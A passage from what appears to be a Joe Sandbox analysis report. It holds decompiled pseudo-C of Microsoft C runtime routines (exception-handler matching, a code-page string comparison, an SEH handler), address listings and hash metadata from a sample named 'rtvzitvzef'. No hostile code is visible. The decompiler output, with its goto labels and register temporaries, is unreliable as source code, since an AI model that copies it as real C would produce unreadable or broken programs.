          												__eflags = _a24;
          												if(_a24 != 0) {
          													goto L67;
          												} else {
          													_push(_a32);
          													_push(_a28);
          													_push(_t275);
          													_push(_t301);
          													_push(_a16);
          													_push(_t296);
          													_push(_a8);
          													_push(_t270);
          													L68();
          													_t332 = _t332 + 0x20;
          													goto L60;
          												}
          											}
          										} else {
          											__eflags = _t270[0x10] - 3;
          											if(_t270[0x10] != 3) {
          												goto L57;
          											} else {
          												__eflags = _t270[0x14] - 0x19930520;
          												if(_t270[0x14] == 0x19930520) {
          													L29:
          													_t315 = _a32;
          													__eflags = _t301[3];
          													if(_t301[3] > 0) {
          														_push(_a28);
          														E004027B4(_t270, _t275, _t301, _t315,  &_v68,  &_v52, _t275, _a16, _t301);
          														_t296 = _v64;
          														_t332 = _t332 + 0x18;
          														_t247 = _v68;
          														_v44 = _t247;
          														_v16 = _t296;
          														__eflags = _t296 - _v56;
          														if(_t296 < _v56) {
          															_t290 = _t296 * 0x14;
          															__eflags = _t290;
          															_v32 = _t290;
          															do {
          																_t291 = 5;
          																_t250 = memcpy( &_v104,  *((intOrPtr*)( *_t247 + 0x10)) + _t290, _t291 << 2);
          																_t332 = _t332 + 0xc;
          																__eflags = _v104 - _t250;
          																if(_v104 <= _t250) {
          																	__eflags = _t250 - _v100;
          																	if(_t250 <= _v100) {
          																		_t294 = 0;
          																		_v20 = 0;
          																		__eflags = _v92;
          																		if(_v92 != 0) {
          																			_t299 = _t270[0x1c];
          																			_t251 =  *((intOrPtr*)(_t299 + 0xc));
          																			_t252 = _t251 + 4;
          																			__eflags = _t252;
          																			_v36 = _t252;
          																			_t253 = _v88;
          																			_v40 =  *_t251;
          																			_v24 = _t253;
          																			do {
          																				asm("movsd");
          																				asm("movsd");
          																				asm("movsd");
          																				asm("movsd");
          																				_t327 = _v40;
          																				_t314 = _v36;
          																				__eflags = _t327;
          																				if(_t327 <= 0) {
          																					goto L40;
          																				} else {
          																					while(1) {
          																						_push(_t299);
          																						_push( *_t314);
          																						_t254 =  &_v84;
          																						_push(_t254);
          																						L87();
          																						_t332 = _t332 + 0xc;
          																						__eflags = _t254;
          																						if(_t254 != 0) {
          																							break;
          																						}
          																						_t299 = _t270[0x1c];
          																						_t327 = _t327 - 1;
          																						_t314 = _t314 + 4;
          																						__eflags = _t327;
          																						if(_t327 > 0) {
          																							continue;
          																						} else {
          																							_t294 = _v20;
          																							_t253 = _v24;
          																							goto L40;
          																						}
          																						goto L43;
          																					}
          																					_push(_a24);
          																					_push(_v28);
          																					E004032BB(_t299, _t270, _a8, _v8, _a16, _a20,  &_v84,  *_t314,  &_v104, _a28, _a32);
          																					_t332 = _t332 + 0x30;
          																				}
          																				L43:
          																				_t296 = _v16;
          																				goto L44;
          																				L40:
          																				_t294 = _t294 + 1;
          																				_t253 = _t253 + 0x10;
          																				_v20 = _t294;
          																				_v24 = _t253;
          																				__eflags = _t294 - _v92;
          																			} while (_t294 != _v92);
          																			goto L43;
          																		}
          																	}
          																}
          																L44:
          																_t296 = _t296 + 1;
          																_t247 = _v44;
          																_t290 = _v32 + 0x14;
          																_v16 = _t296;
          																_v32 = _t290;
          																__eflags = _t296 - _v56;
          															} while (_t296 < _v56);
          															_t301 = _a20;
          															_t315 = _a32;
          														}
          													}
          													__eflags = _a24;
          													if(__eflags != 0) {
          														_push(1);
          														E00401F30(_t270, _t301, _t315, __eflags);
          														_t275 = _t270;
          													}
          													__eflags = ( *_t301 & 0x1fffffff) - 0x19930521;
          													if(( *_t301 & 0x1fffffff) < 0x19930521) {
          														L60:
          														_t224 = E00402403(_t270, _t275, _t296, _t315);
          														__eflags =  *(_t224 + 0x1c);
          														if( *(_t224 + 0x1c) != 0) {
          															goto L67;
          														} else {
          															goto L61;
          														}
          													} else {
          														_t228 = _t301[8] >> 2;
          														__eflags = _t301[7];
          														if(_t301[7] != 0) {
          															__eflags = _t228 & 0x00000001;
          															if((_t228 & 0x00000001) == 0) {
          																_push(_t301[7]);
          																_t229 = E00403DBA(_t270, _t301, _t315, _t270);
          																_pop(_t275);
          																__eflags = _t229;
          																if(_t229 == 0) {
          																	goto L64;
          																} else {
          																	goto L60;
          																}
          															} else {
          																goto L54;
          															}
          														} else {
          															__eflags = _t228 & 0x00000001;
          															if((_t228 & 0x00000001) == 0) {
          																goto L60;
          															} else {
          																__eflags = _a28;
          																if(_a28 != 0) {
          																	goto L60;
          																} else {
          																	L54:
          																	 *(E00402403(_t270, _t275, _t296, _t315) + 0x10) = _t270;
          																	_t237 = E00402403(_t270, _t275, _t296, _t315);
          																	_t286 = _v8;
          																	 *((intOrPtr*)(_t237 + 0x14)) = _v8;
          																	goto L62;
          																}
          															}
          														}
          													}
          												} else {
          													__eflags = _t270[0x14] - 0x19930521;
          													if(_t270[0x14] == 0x19930521) {
          														goto L29;
          													} else {
          														__eflags = _t270[0x14] - 0x19930522;
          														if(_t270[0x14] != 0x19930522) {
          															goto L57;
          														} else {
          															goto L29;
          														}
          													}
          												}
          											}
          										}
          									} else {
          										_v16 =  *((intOrPtr*)(E00402403(_t270, _t275, _t296, _t315) + 0x1c));
          										_t264 = E00402403(_t270, _t275, _t296, _t315);
          										_push(_v16);
          										 *(_t264 + 0x1c) = _t315;
          										_t265 = E00403DBA(_t270, _t301, _t315, _t270);
          										_pop(_t286);
          										if(_t265 != 0) {
          											goto L23;
          										} else {
          											_t301 = _v16;
          											_t353 =  *_t301 - _t315;
          											if( *_t301 <= _t315) {
          												L62:
          												E00406182(_t270, _t286, _t296, _t301, _t315, __eflags);
          											} else {
          												while(1) {
          													_t286 =  *((intOrPtr*)(_t315 + _t301[1] + 4));
          													if(E00403A16( *((intOrPtr*)(_t315 + _t301[1] + 4)), _t353, 0x4188d4) != 0) {
          														goto L63;
          													}
          													_t315 = _t315 + 0x10;
          													_t269 = _v20 + 1;
          													_v20 = _t269;
          													_t353 = _t269 -  *_t301;
          													if(_t269 >=  *_t301) {
          														goto L62;
          													} else {
          														continue;
          													}
          													goto L63;
          												}
          											}
          											L63:
          											_push(1);
          											_push(_t270);
          											E00401F30(_t270, _t301, _t315, __eflags);
          											_t275 =  &_v64;
          											E004039C1( &_v64);
          											E00403FA6( &_v64, 0x416604);
          											L64:
          											 *(E00402403(_t270, _t275, _t296, _t315) + 0x10) = _t270;
          											_t231 = E00402403(_t270, _t275, _t296, _t315);
          											_t275 = _v8;
          											 *(_t231 + 0x14) = _v8;
          											__eflags = _t315;
          											if(_t315 == 0) {
          												_t315 = _a8;
          											}
          											E004029A7(_t275, _t315, _t270);
          											E00403CBA(_a8, _a16, _t301);
          											_t234 = E00403E77(_t301);
          											_t332 = _t332 + 0x10;
          											_push(_t234);
          											E00403C31(_t270, _t275, _t296, _t301, _t315, __eflags);
          											goto L67;
          										}
          									}
          								}
          							}
          						}
          					}
          				}
          			}






















































































          0x0040333b
          0x00403342
          0x00403344
          0x0040334d
          0x00403353
          0x0040335b
          0x0040335d
          0x00403360
          0x00403366
          0x004036da
          0x004036da
          0x004036df
          0x004036e1
          0x004036e3
          0x004036e6
          0x004036e7
          0x004036ea
          0x004036f0
          0x0040380f
          0x004036f6
          0x004036f6
          0x004036f7
          0x004036f8
          0x004036ff
          0x00403702
          0x00403705
          0x0040370b
          0x0040370d
          0x00403712
          0x00403715
          0x00403717
          0x0040371d
          0x0040371f
          0x00403725
          0x0040373a
          0x0040373f
          0x00403742
          0x00403744
          0x0040380b
          0x00000000
          0x0040380c
          0x00403744
          0x00403725
          0x0040371d
          0x00403715
          0x0040374a
          0x0040374d
          0x00403750
          0x00403753
          0x00403756
          0x0040375c
          0x0040376e
          0x00403773
          0x00403776
          0x00403779
          0x0040377c
          0x0040377f
          0x00403782
          0x00403785
          0x00000000
          0x00000000
          0x0040378b
          0x0040378b
          0x0040378e
          0x00403791
          0x004037a0
          0x004037a1
          0x004037a1
          0x004037a3
          0x004037a6
          0x00000000
          0x00000000
          0x004037a8
          0x004037ab
          0x00000000
          0x00000000
          0x004037b9
          0x004037bb
          0x004037be
          0x004037c0
          0x004037c8
          0x004037c8
          0x004037cb
          0x004037cd
          0x004037cf
          0x004037eb
          0x004037f0
          0x004037f3
          0x004037f3
          0x00000000
          0x004037cb
          0x004037c2
          0x004037c6
          0x00000000
          0x00000000
          0x00000000
          0x004037f6
          0x004037f9
          0x004037fa
          0x004037fd
          0x00403800
          0x00403803
          0x00403806
          0x00403806
          0x00000000
          0x00403791
          0x00403810
          0x00403815
          0x00403816
          0x00403819
          0x0040381c
          0x0040381d
          0x0040381e
          0x0040381f
          0x00403822
          0x00403824
          0x0040389c
          0x0040389e
          0x0040389e
          0x00403826
          0x00403826
          0x00403829
          0x0040382c
          0x00000000
          0x0040382e
          0x0040382e
          0x00403831
          0x00403834
          0x0040383b
          0x0040383b
          0x0040383e
          0x00403840
          0x00403842
          0x00403874
          0x00403874
          0x00403877
          0x0040387e
          0x0040387e
          0x00403881
          0x00403884
          0x0040388b
          0x0040388b
          0x0040388e
          0x00403895
          0x00403897
          0x00403897
          0x00403890
          0x00403890
          0x00403893
          0x00000000
          0x00000000
          0x00403893
          0x00403886
          0x00403886
          0x00403889
          0x00000000
          0x00000000
          0x00403889
          0x00403879
          0x00403879
          0x0040387c
          0x00000000
          0x00000000
          0x0040387c
          0x00403898
          0x00403844
          0x00403844
          0x00403844
          0x00403847
          0x00403847
          0x00403849
          0x0040384b
          0x00000000
          0x00000000
          0x0040384d
          0x0040384f
          0x00403863
          0x00403863
          0x00403851
          0x00403851
          0x00403854
          0x00403857
          0x00000000
          0x00403859
          0x00403859
          0x0040385c
          0x0040385f
          0x00403861
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00403861
          0x00403857
          0x0040386c
          0x0040386c
          0x0040386e
          0x00000000
          0x00403870
          0x00403870
          0x00403870
          0x00000000
          0x0040386e
          0x00403867
          0x00403869
          0x00403869
          0x00000000
          0x00403869
          0x00403836
          0x00403836
          0x00403839
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00403839
          0x00403834
          0x0040382c
          0x0040389f
          0x004038a3
          0x004038a3
          0x00403375
          0x00403375
          0x0040337e
          0x0040347b
          0x0040347b
          0x0040347e
          0x00000000
          0x004033ad
          0x004033ad
          0x004033b2
          0x00000000
          0x004033b8
          0x004033b8
          0x004033c0
          0x00403674
          0x00403678
          0x004033c6
          0x004033cb
          0x004033ce
          0x004033d3
          0x004033da
          0x004033df
          0x00000000
          0x00403417
          0x0040341f
          0x00403483
          0x00403483
          0x00403486
          0x00403489
          0x0040348b
          0x0040348e
          0x00403491
          0x00403497
          0x00403643
          0x00403643
          0x00403646
          0x00000000
          0x00403648
          0x00403648
          0x0040364b
          0x00000000
          0x00403651
          0x00403651
          0x00403654
          0x00403657
          0x00403658
          0x00403659
          0x0040365c
          0x0040365d
          0x00403660
          0x00403661
          0x00403666
          0x00000000
          0x00403666
          0x0040364b
          0x0040349d
          0x0040349d
          0x004034a1
          0x00000000
          0x004034a7
          0x004034a7
          0x004034ae
          0x004034c6
          0x004034c6
          0x004034c9
          0x004034cc
          0x004034d2
          0x004034e2
          0x004034e7
          0x004034ea
          0x004034ed
          0x004034f0
          0x004034f3
          0x004034f6
          0x004034f9
          0x004034ff
          0x004034ff
          0x00403502
          0x00403505
          0x00403514
          0x00403515
          0x00403515
          0x00403517
          0x0040351a
          0x00403520
          0x00403523
          0x00403529
          0x0040352b
          0x0040352e
          0x00403531
          0x00403537
          0x0040353a
          0x0040353f
          0x0040353f
          0x00403542
          0x00403545
          0x00403548
          0x0040354b
          0x0040354e
          0x00403553
          0x00403554
          0x00403555
          0x00403556
          0x00403557
          0x0040355a
          0x0040355d
          0x0040355f
          0x00000000
          0x00403561
          0x00403561
          0x00403561
          0x00403562
          0x00403564
          0x00403567
          0x00403568
          0x0040356d
          0x00403570
          0x00403572
          0x00000000
          0x00000000
          0x00403574
          0x00403577
          0x00403578
          0x0040357b
          0x0040357d
          0x00000000
          0x0040357f
          0x0040357f
          0x00403582
          0x00000000
          0x00403582
          0x00000000
          0x0040357d
          0x00403596
          0x0040359c
          0x004035b9
          0x004035be
          0x004035be
          0x004035c1
          0x004035c1
          0x00000000
          0x00403585
          0x00403585
          0x00403586
          0x00403589
          0x0040358c
          0x0040358f
          0x0040358f
          0x00000000
          0x00403594
          0x00403531
          0x00403523
          0x004035c4
          0x004035c7
          0x004035c8
          0x004035cb
          0x004035ce
          0x004035d1
          0x004035d4
          0x004035d4
          0x004035dd
          0x004035e0
          0x004035e0
          0x004034f9
          0x004035e3
          0x004035e7
          0x004035e9
          0x004035ec
          0x004035f2
          0x004035f2
          0x004035fa
          0x004035ff
          0x00403669
          0x00403669
          0x0040366e
          0x00403672
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00403601
          0x00403604
          0x00403607
          0x0040360b
          0x00403619
          0x0040361b
          0x00403632
          0x00403636
          0x0040363c
          0x0040363d
          0x0040363f
          0x00000000
          0x00403641
          0x00000000
          0x00403641
          0x00000000
          0x00000000
          0x00000000
          0x0040360d
          0x0040360d
          0x0040360f
          0x00000000
          0x00403611
          0x00403611
          0x00403615
          0x00000000
          0x00403617
          0x0040361d
          0x00403622
          0x00403625
          0x0040362a
          0x0040362d
          0x00000000
          0x0040362d
          0x00403615
          0x0040360f
          0x0040360b
          0x004034b0
          0x004034b0
          0x004034b7
          0x00000000
          0x004034b9
          0x004034b9
          0x004034c0
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x004034c0
          0x004034b7
          0x004034ae
          0x004034a1
          0x00403421
          0x00403429
          0x0040342c
          0x00403431
          0x00403435
          0x00403438
          0x0040343e
          0x00403441
          0x00000000
          0x00403443
          0x00403443
          0x00403446
          0x00403448
          0x00403679
          0x00403679
          0x00000000
          0x0040344e
          0x00403456
          0x00403461
          0x00000000
          0x00000000
          0x0040346a
          0x0040346d
          0x0040346e
          0x00403471
          0x00403473
          0x00000000
          0x00403479
          0x00000000
          0x00403479
          0x00000000
          0x00403473
          0x0040344e
          0x0040367e
          0x0040367e
          0x00403680
          0x00403681
          0x00403688
          0x0040368b
          0x00403699
          0x0040369e
          0x004036a3
          0x004036a6
          0x004036ab
          0x004036ae
          0x004036b1
          0x004036b3
          0x004036b5
          0x004036b5
          0x004036ba
          0x004036c6
          0x004036cc
          0x004036d1
          0x004036d4
          0x004036d5
          0x00000000
          0x004036d5
          0x00403441
          0x0040341f
          0x004033df
          0x004033c0
          0x004033b2
          0x0040337e

          APIs
          • type_info::operator==.LIBVCRUNTIME ref: 0040345A
          • ___TypeMatch.LIBVCRUNTIME ref: 00403568
          • _UnwindNestedFrames.LIBCMT ref: 004036BA
          • CallUnexpected.LIBVCRUNTIME ref: 004036D5
          Strings
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
          • String ID: csm$csm$csm
          • API String ID: 2751267872-393685449
          • Opcode ID: 84e90d107850ba68984f0374c74d9d647df64166b6b85148c58019ec3215ba6b
          • Instruction ID: 326e648ef647dd601b0ca67ad18aa5df6b903cc15dab9f90c6c3f42a64a10276
          • Opcode Fuzzy Hash: 84e90d107850ba68984f0374c74d9d647df64166b6b85148c58019ec3215ba6b
          • Instruction Fuzzy Hash: 0CB17671800209AFCF25DFA5C8819AEBFB9BF04316B14456BE8017B392C779DB51CB99
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 82%
          			E0040E7BE(signed int _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, int _a20, intOrPtr* _a24, intOrPtr* _a28, int _a32) {
          				signed int _v8;
          				char _v22;
          				struct _cpinfo _v28;
          				signed int _v32;
          				intOrPtr* _v36;
          				signed int _v40;
          				intOrPtr _v44;
          				void* _v56;
          				void* __ebx;
          				void* __edi;
          				void* __esi;
          				signed int _t49;
          				int _t54;
          				signed int _t59;
          				signed int _t60;
          				void* _t63;
          				signed int _t64;
          				signed int _t65;
          				int _t71;
          				char* _t76;
          				char* _t77;
          				int _t81;
          				int _t82;
          				intOrPtr _t94;
          				intOrPtr _t95;
          				signed int _t103;
          				void* _t104;
          				int _t106;
          				void* _t107;
          				intOrPtr* _t108;
          
          				_t49 =  *0x418014; // 0xa3964780
          				_v8 = _t49 ^ _t103;
          				_t83 = _a24;
          				_v40 = _a4;
          				_t102 = _a20;
          				_v44 = _a8;
          				_t53 = _a16;
          				_v32 = _a16;
          				_v36 = _a24;
          				if(_t102 <= 0) {
          					if(_t102 < 0xffffffff) {
          						goto L54;
          					} else {
          						goto L3;
          					}
          				} else {
          					_t81 = E0040E7A2(_t53, _t102);
          					_t83 = _v36;
          					_t102 = _t81;
          					L3:
          					_t101 = _a28;
          					if(_t101 <= 0) {
          						if(_t101 < 0xffffffff) {
          							goto L54;
          						} else {
          							goto L6;
          						}
          					} else {
          						_t101 = E0040E7A2(_t83, _t101);
          						_a28 = _t101;
          						L6:
          						_t82 = _a32;
          						if(_t82 == 0) {
          							_t82 =  *( *_v40 + 8);
          							_a32 = _t82;
          						}
          						if(_t102 == 0 || _t101 == 0) {
          							if(_t102 == _t101) {
          								L61:
          								_push(2);
          								goto L23;
          							} else {
          								if(_t101 > 1) {
          									L32:
          									_t54 = 1;
          								} else {
          									if(_t102 > 1) {
          										L22:
          										_push(3);
          										goto L23;
          									} else {
          										if(GetCPInfo(_t82,  &_v28) == 0) {
          											goto L54;
          										} else {
          											if(_t102 <= 0) {
          												if(_t101 <= 0) {
          													goto L33;
          												} else {
          													if(_v28 >= 2) {
          														_t76 =  &_v22;
          														if(_v22 != 0) {
          															_t101 = _v36;
          															while(1) {
          																_t94 =  *((intOrPtr*)(_t76 + 1));
          																if(_t94 == 0) {
          																	goto L32;
          																}
          																_t100 =  *_t101;
          																if(_t100 <  *_t76 || _t100 > _t94) {
          																	_t76 = _t76 + 2;
          																	if( *_t76 != 0) {
          																		continue;
          																	} else {
          																		goto L32;
          																	}
          																} else {
          																	goto L61;
          																}
          																goto L55;
          															}
          														}
          													}
          													goto L32;
          												}
          											} else {
          												if(_v28 >= 2) {
          													_t77 =  &_v22;
          													if(_v22 != 0) {
          														_t102 = _v32;
          														while(1) {
          															_t95 =  *((intOrPtr*)(_t77 + 1));
          															if(_t95 == 0) {
          																goto L22;
          															}
          															_t100 =  *_t102;
          															if(_t100 <  *_t77 || _t100 > _t95) {
          																_t77 = _t77 + 2;
          																if( *_t77 != 0) {
          																	continue;
          																} else {
          																	goto L22;
          																}
          															} else {
          																goto L61;
          															}
          															goto L23;
          														}
          													}
          												}
          												goto L22;
          												L23:
          												_pop(_t54);
          											}
          										}
          									}
          								}
          							}
          						} else {
          							L33:
          							_t59 = E00409976(_t82, 9, _v32, _t102, 0, 0);
          							_t106 = _t104 + 0x18;
          							_v40 = _t59;
          							if(_t59 == 0) {
          								L54:
          								_t54 = 0;
          							} else {
          								_t100 = _t59 + _t59 + 8;
          								asm("sbb eax, eax");
          								_t60 = _t59 & _t59 + _t59 + 0x00000008;
          								if(_t60 == 0) {
          									L60:
          									_push(0);
          									goto L59;
          								} else {
          									if(_t60 > 0x400) {
          										_t82 = E0040A6A3(_t60);
          										if(_t82 == 0) {
          											goto L60;
          										} else {
          											 *_t82 = 0xdddd;
          											goto L40;
          										}
          									} else {
          										E00410C20(_t60);
          										_t82 = _t106;
          										if(_t82 == 0) {
          											goto L60;
          										} else {
          											 *_t82 = 0xcccc;
          											L40:
          											_t82 = _t82 + 8;
          											if(_t82 == 0) {
          												goto L60;
          											} else {
          												_t102 = _a32;
          												_t63 = E00409976(_a32, 1, _v32, _a32, _t82, _v40);
          												_t107 = _t106 + 0x18;
          												if(_t63 == 0) {
          													L58:
          													_push(_t82);
          													L59:
          													E0040A7F2();
          													goto L53;
          												} else {
          													_t101 = _v36;
          													_t64 = E00409976(_t102, 9, _v36, _v36, 0, 0);
          													_t108 = _t107 + 0x18;
          													_v32 = _t64;
          													if(_t64 == 0) {
          														goto L58;
          													} else {
          														_t100 = _t64 + _t64 + 8;
          														asm("sbb eax, eax");
          														_t65 = _t64 & _t64 + _t64 + 0x00000008;
          														if(_t65 == 0) {
          															L57:
          															_push(0);
          															goto L52;
          														} else {
          															if(_t65 > 0x400) {
          																_t101 = E0040A6A3(_t65);
          																if(_t101 == 0) {
          																	goto L57;
          																} else {
          																	 *_t101 = 0xdddd;
          																	goto L49;
          																}
          															} else {
          																E00410C20(_t65);
          																_t101 = _t108;
          																if(_t101 == 0) {
          																	goto L57;
          																} else {
          																	 *_t101 = 0xcccc;
          																	L49:
          																	_t101 = _t101 + 8;
          																	if(_t101 == 0) {
          																		goto L57;
          																	} else {
          																		if(E00409976(_t102, 1, _v36, _a28, _t101, _v32) != 0) {
          																			_t71 = E0040ADC3(_v44, _a12, _t82, _v40, _t101, _v32, 0, 0, 0);
          																			_t102 = _t71;
          																			E0040A7F2(_t101);
          																			E0040A7F2(_t82);
          																			_t54 = _t71;
          																		} else {
          																			_push(_t101);
          																			L52:
          																			E0040A7F2();
          																			E0040A7F2(_t82);
          																			L53:
          																			goto L54;
          																		}
          																	}
          																}
          															}
          														}
          													}
          												}
          											}
          										}
          									}
          								}
          							}
          						}
          					}
          				}
          				L55:
          				return E00401BE5(_t54, _t82, _v8 ^ _t103, _t100, _t101, _t102);
          			}

































          0x0040e7c6
          0x0040e7cd
          0x0040e7d3
          0x0040e7d7
          0x0040e7de
          0x0040e7e1
          0x0040e7e4
          0x0040e7e7
          0x0040e7ea
          0x0040e7f0
          0x0040e805
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x0040e7f2
          0x0040e7f4
          0x0040e7fb
          0x0040e7fe
          0x0040e80b
          0x0040e80b
          0x0040e810
          0x0040e825
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x0040e812
          0x0040e81a
          0x0040e81d
          0x0040e82b
          0x0040e82b
          0x0040e830
          0x0040e837
          0x0040e83a
          0x0040e83a
          0x0040e83f
          0x0040e84b
          0x0040ea56
          0x0040ea56
          0x00000000
          0x0040e851
          0x0040e854
          0x0040e8e0
          0x0040e8e2
          0x0040e85a
          0x0040e85d
          0x0040e8a5
          0x0040e8a5
          0x00000000
          0x0040e85f
          0x0040e86c
          0x00000000
          0x0040e872
          0x0040e874
          0x0040e8af
          0x00000000
          0x0040e8b1
          0x0040e8b5
          0x0040e8bb
          0x0040e8be
          0x0040e8c0
          0x0040e8c3
          0x0040e8c3
          0x0040e8c8
          0x00000000
          0x00000000
          0x0040e8ca
          0x0040e8ce
          0x0040e8d8
          0x0040e8de
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x0040e8ce
          0x0040e8c3
          0x0040e8be
          0x00000000
          0x0040e8b5
          0x0040e876
          0x0040e87a
          0x0040e880
          0x0040e883
          0x0040e885
          0x0040e888
          0x0040e888
          0x0040e88d
          0x00000000
          0x00000000
          0x0040e88f
          0x0040e893
          0x0040e89d
          0x0040e8a3
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x0040e893
          0x0040e888
          0x0040e883
          0x00000000
          0x0040e8a7
          0x0040e8a7
          0x0040e8a7
          0x0040e874
          0x0040e86c
          0x0040e85d
          0x0040e854
          0x0040e8e8
          0x0040e8e8
          0x0040e8f3
          0x0040e8f8
          0x0040e8fb
          0x0040e900
          0x0040ea06
          0x0040ea06
          0x0040e906
          0x0040e909
          0x0040e90e
          0x0040e910
          0x0040e912
          0x0040ea52
          0x0040ea52
          0x00000000
          0x0040e918
          0x0040e91d
          0x0040e93c
          0x0040e941
          0x00000000
          0x0040e947
          0x0040e947
          0x00000000
          0x0040e947
          0x0040e91f
          0x0040e91f
          0x0040e924
          0x0040e928
          0x00000000
          0x0040e92e
          0x0040e92e
          0x0040e94d
          0x0040e94d
          0x0040e952
          0x00000000
          0x0040e958
          0x0040e960
          0x0040e966
          0x0040e96b
          0x0040e970
          0x0040ea4a
          0x0040ea4a
          0x0040ea4b
          0x0040ea4b
          0x00000000
          0x0040e976
          0x0040e97b
          0x0040e982
          0x0040e987
          0x0040e98a
          0x0040e98f
          0x00000000
          0x0040e995
          0x0040e998
          0x0040e99d
          0x0040e99f
          0x0040e9a1
          0x0040ea46
          0x0040ea46
          0x00000000
          0x0040e9a7
          0x0040e9ac
          0x0040e9cb
          0x0040e9d0
          0x00000000
          0x0040e9d2
          0x0040e9d2
          0x00000000
          0x0040e9d2
          0x0040e9ae
          0x0040e9ae
          0x0040e9b3
          0x0040e9b7
          0x00000000
          0x0040e9bd
          0x0040e9bd
          0x0040e9d8
          0x0040e9d8
          0x0040e9dd
          0x00000000
          0x0040e9df
          0x0040e9f6
          0x0040ea2d
          0x0040ea33
          0x0040ea35
          0x0040ea3b
          0x0040ea42
          0x0040e9f8
          0x0040e9f8
          0x0040e9f9
          0x0040e9f9
          0x0040e9ff
          0x0040ea05
          0x00000000
          0x0040ea05
          0x0040e9f6
          0x0040e9dd
          0x0040e9b7
          0x0040e9ac
          0x0040e9a1
          0x0040e98f
          0x0040e970
          0x0040e952
          0x0040e928
          0x0040e91d
          0x0040e912
          0x0040e900
          0x0040e83f
          0x0040e810
          0x0040ea08
          0x0040ea19

          APIs
          • GetCPInfo.KERNEL32(005F39A8,005F39A8,?,7FFFFFFF,?,0040EA8E,005F39A8,005F39A8,?,005F39A8,?,?,?,?,005F39A8,?), ref: 0040E864
          • __alloca_probe_16.LIBCMT ref: 0040E91F
          • __alloca_probe_16.LIBCMT ref: 0040E9AE
          • __freea.LIBCMT ref: 0040E9F9
          • __freea.LIBCMT ref: 0040E9FF
          • __freea.LIBCMT ref: 0040EA35
          • __freea.LIBCMT ref: 0040EA3B
          • __freea.LIBCMT ref: 0040EA4B
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: __freea$__alloca_probe_16$Info
          • String ID:
          • API String ID: 127012223-0
          • Opcode ID: 2b2db7e58a28717a63a616f0e69bd89b9126ce27af168e9003e6bc30fd40b907
          • Instruction ID: f8f137e2a3d05797d4300cc06c2158c3c7d074ffb0f9cd52750916c6997d02f4
          • Opcode Fuzzy Hash: 2b2db7e58a28717a63a616f0e69bd89b9126ce27af168e9003e6bc30fd40b907
          • Instruction Fuzzy Hash: 0071E973A002055BDF20AB568C41BAF77B5AF89314F19487BE904B73C2D63DDC609BA9
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 68%
          			E00401D60(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
          				char _v5;
          				signed int _v12;
          				char _v16;
          				intOrPtr _v20;
          				intOrPtr _v24;
          				intOrPtr _v28;
          				char _v32;
          				char _t52;
          				signed int _t59;
          				intOrPtr _t60;
          				void* _t61;
          				intOrPtr* _t62;
          				intOrPtr _t64;
          				intOrPtr _t66;
          				intOrPtr _t67;
          				intOrPtr _t72;
          				intOrPtr* _t76;
          				intOrPtr _t77;
          				signed int _t81;
          				char _t83;
          				intOrPtr _t86;
          				intOrPtr _t93;
          				intOrPtr _t96;
          				intOrPtr* _t98;
          				void* _t102;
          				void* _t104;
          				void* _t111;
          
          				_t89 = __edx;
          				_t76 = _a4;
          				_push(__edi);
          				_v5 = 0;
          				_v16 = 1;
          				 *_t76 = E00410D90(__ecx,  *_t76);
          				_t77 = _a8;
          				_t6 = _t77 + 0x10; // 0x11
          				_t96 = _t6;
          				_push(_t96);
          				_v20 = _t96;
          				_v12 =  *(_t77 + 8) ^  *0x418014;
          				E00401D20(_t77, __edx, __edi, _t96,  *(_t77 + 8) ^  *0x418014);
          				E004023B7(_a12);
          				_t52 = _a4;
          				_t104 = _t102 - 0x1c + 0x10;
          				_t93 =  *((intOrPtr*)(_t77 + 0xc));
          				if(( *(_t52 + 4) & 0x00000066) != 0) {
          					__eflags = _t93 - 0xfffffffe;
          					if(_t93 != 0xfffffffe) {
          						_t89 = 0xfffffffe;
          						E004023A0(_t77, 0xfffffffe, _t96, 0x418014);
          						goto L13;
          					}
          					goto L14;
          				} else {
          					_v32 = _t52;
          					_v28 = _a12;
          					 *((intOrPtr*)(_t77 - 4)) =  &_v32;
          					if(_t93 == 0xfffffffe) {
          						L14:
          						return _v16;
          					} else {
          						do {
          							_t81 = _v12;
          							_t59 = _t93 + (_t93 + 2) * 2;
          							_t77 =  *((intOrPtr*)(_t81 + _t59 * 4));
          							_t60 = _t81 + _t59 * 4;
          							_t82 =  *((intOrPtr*)(_t60 + 4));
          							_v24 = _t60;
          							if( *((intOrPtr*)(_t60 + 4)) == 0) {
          								_t83 = _v5;
          								goto L7;
          							} else {
          								_t89 = _t96;
          								_t61 = E00402340(_t82, _t96);
